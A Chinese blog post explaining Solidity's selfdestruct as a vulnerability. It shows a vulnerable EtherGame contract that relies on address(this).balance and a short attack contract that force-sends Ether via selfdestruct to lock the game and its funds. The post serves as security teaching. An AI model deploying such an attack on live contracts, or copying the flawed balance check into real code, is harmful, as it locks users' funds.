自毁函数 Self Destruct
侧边栏壁纸
  • 累计撰写 26 篇文章
  • 累计收到 33 条评论

自毁函数 Self Destruct

残月
2023-12-09 / 0 评论 / 47 阅读 / 正在检测是否收录...
温馨提示:
本文最后更新于2023年12月11日,已超过420天没有更新,若内容或图片失效,请留言反馈。

  自毁函数 由以太坊智能合约提供,用于销毁区块链上的合约系统。当合约执行自毁操作时,合约账户上剩余的以太币会发送给指定的目标,然后其存储和代码从状态中被移除。然而,自毁函数也是一把双刃剑,一方面它可以使开发人员能够从以太坊中删除智能合约并在紧急情况下转移以太币。另一方面自毁函数也可能成为攻击者的利用工具,攻击者可以利用该函数向目标合约“强制转账”从而影响目标合约的正常功能(比如开发者使用 address(this).balance 来取合约中的代币余额就可能会被攻击)。

lq0p34pf.png

漏洞代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

contract EtherGame {
    uint public targetAmount = 7 ether;
    address public winner;

    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        uint balance = address(this).balance;
          require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }
    function claimReward() public {
        require(msg.sender == winner, "Not winner");

        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
}

问题分析

  这里问题在于使用 address(this).balance ,作为取合约中的代币余额。如果合约中的代币余额大于 balance <= targetAmount 那这个游戏将永远没有赢家,这个余额也无法取出。原因是 solidity 中有很多可以转账的操作例如:
   transfer :转账出错会抛出异常后面代码不执行;
   send :转账出错不会抛出异常只返回 true/false 后面代码继续执行;
   call.value().gas()() :转账出错不会抛出异常只返回 true/false 后面代码继续执行,且使用 call 函数进行转账容易发生重入攻击
   selfdestruct :自毁函数不需要接受就能给合约强制转账的函数。
  向这里可以使用 selfdestruct 强制向合约转账。

攻击合约

contract Attack {
    EtherGame etherGame;

    constructor(EtherGame _etherGame) {
        etherGame = EtherGame(_etherGame);
    }

    function attack() public payable {
        address payable addr = payable(address(etherGame));
        selfdestruct(addr);
    }
}

  基于以上分析写出攻击合约,攻击合约在部署时传入要攻击的EtherGame合约地址,在attack方法中将etherGame的合约地址作为转账地址,并将地址放入到selfdestruct中。当通过AttackselfdestructetherGame合约强行转一定额度账使其大于或者等于7 ether,下次用户执行时将不会触发winner = msg.sender;这个语法。

攻击复现

执行步骤

0

评论 (0)

取消